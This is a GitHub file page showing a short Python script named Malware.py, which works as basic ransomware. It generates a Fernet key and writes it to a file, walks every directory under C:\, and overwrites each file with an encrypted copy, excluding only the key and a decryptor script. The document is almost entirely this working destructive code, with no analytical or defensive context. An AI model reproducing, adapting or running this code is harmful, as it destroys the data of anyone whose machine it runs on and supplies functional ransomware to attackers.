-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathMalware.py
More file actions
47 lines (38 loc) · 1.45 KB
/
Malware.py
File metadata and controls
47 lines (38 loc) · 1.45 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import os
import subprocess
import sys
# Function to check and install required packages
def install(package):
subprocess.check_call([sys.executable, '-m', 'pip', 'install', package])
# Check if the cryptography library is installed
try:
from cryptography.fernet import Fernet as fer
except ImportError:
print("cryptography library is not installed. Installing...")
install('cryptography')
from cryptography.fernet import Fernet as fer
# Generate a key for encryption
key = fer.generate_key()
# Save the encryption key to a file
with open("key", "wb") as thekey:
thekey.write(key)
# List to hold paths of all files
files = []
# Walk through all directories and files in the system
for dirpath, dirnames, filenames in os.walk('C:\\'): # Change 'C:\\' for the root drive
for file in filenames:
full_path = os.path.join(dirpath, file) # Get the full path of the file
# Exclude specific files from encryption
if file not in ["key", "Decrypted_Malware.py"]: # Add any other files to exclude here
files.append(full_path)
# Encrypt all collected files
for file in files:
try:
with open(file, "rb") as thefile:
contents = thefile.read()
contents_enc = fer(key).encrypt(contents)
with open(file, "wb") as Thefiles:
Thefiles.write(contents_enc)
except Exception as e:
print(f"Error encrypting {file}: {e}")
print("Encryption process completed.")